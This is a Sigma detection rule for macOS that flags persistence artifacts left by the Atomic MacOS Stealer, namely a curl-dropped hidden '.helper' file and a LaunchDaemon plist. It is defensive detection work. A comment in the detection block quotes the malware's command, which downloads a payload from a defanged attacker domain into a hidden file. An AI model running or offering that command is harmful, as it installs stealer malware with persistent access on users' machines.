Sigma rule: Atomic MacOS Stealer - Persistence Indicators

Rule

Title

Atomic MacOS Stealer - Persistence Indicators

Status

experimental

Level

high

Author

Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)

Date

2025-11-22

File

rules-emerging-threats/2025/Malware/Atomic-MacOS-Stealer/file_event_macos_malware_amos_persistence.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.

Log source

product

macos

category

file_event

Detection

selection_user_helper:
    # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
    Image|endswith: '/curl'
    TargetFilename|startswith: '/Users/'
    TargetFilename|endswith: '.helper'
selection_launchdaemon:
    TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
condition: 1 of selection_*

False positives (as the rule lists them)

• Unknown

Tags

• attack.persistence
• attack.privilege-escalation
• attack.stealth
• attack.t1564.001
• attack.t1543.004
• detection.emerging-threats

MITRE ATT&CK ids this rule names

• T1543.004
• T1564.001

References

• https://moonlock.com/amos-backdoor-persistent-access
• https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules-emerging-threats/2025/Malware/Atomic-MacOS-Stealer/file_event_macos_malware_amos_persistence.yml